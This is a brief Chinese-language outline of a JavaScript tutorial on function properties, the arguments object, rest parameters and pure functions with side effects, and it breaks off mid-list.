JavaScript函数的增强知识 1 函数属性和arguments 函数对象的属性 认识arguments arguments转Array 箭头函数不绑定arguments 函数的剩余(rest)参数 2 纯函数的理解和应用 理解JavaScript纯函数 副作用概念的理解 纯函数的案例 判断下面函数是否是纯…...